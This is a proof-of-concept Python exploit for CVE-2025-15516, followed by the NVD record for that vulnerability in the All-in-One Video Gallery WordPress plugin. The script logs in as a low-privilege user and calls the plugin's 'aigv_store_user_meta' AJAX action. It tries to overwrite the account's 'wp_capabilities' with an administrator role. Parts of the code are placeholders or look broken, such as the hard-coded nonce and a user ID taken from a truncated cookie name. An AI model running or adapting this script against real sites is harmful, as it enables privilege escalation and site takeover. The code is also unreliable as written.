CVE-2025-15516

# CVE-2025-15516 PoC - All-in-One Video Gallery IDOR Vulnerability # Authentication required: Subscriber-level or higher import requests import sys target_url = "http://target-wordpress-site.com" username = "attacker" password = "attacker_password" # Step 1: Authenticate and get nonce session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } response = session.post(login_url, data=login_data) # Step 2: Get nonce from admin-ajax or page source nonce = "extracted_nonce_value" # Extract from page source # Step 3: Exploit the vulnerability ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "aigv_store_user_meta", "user_id": session.cookies.get('wordpress_logged_in_...'), # Current user ID "meta_key": "wp_capabilities", # Arbitrary meta key "meta_value": "a:1:{s:10:\"administrator\";b:1;}", # Malicious value "_wpnonce": nonce } response = session.post(ajax_url, data=exploit_data) print(f"Response: {response.text}")

{"cve": {"id": "CVE-2025-15516", "sourceIdentifier": "[email protected]", "published": "2026-01-24T09:15:52.390", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The All-in-One Video Gallery plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the ajax_callback_store_user_meta() function in versions 4.1.0 to 4.6.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary string-based user meta keys for their own account."}, {"lang": "es", "value": "El plugin All-in-One Video Gallery para WordPress es vulnerable a la modificación no autorizada de datos debido a una comprobación de capacidad faltante en la función ajax_callback_store_user_meta() en las versiones 4.1.0 a 4.6.4. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, actualicen claves meta de usuario arbitrarias basadas en cadenas para su propia cuenta."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/all-in-one-video-gallery/tags/4.6.4/admin/admin.php#L1062", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/218e4ed5-661b-49e1-8b23-457a93fd53fa?source=cve", "source": "[email protected]"}]}}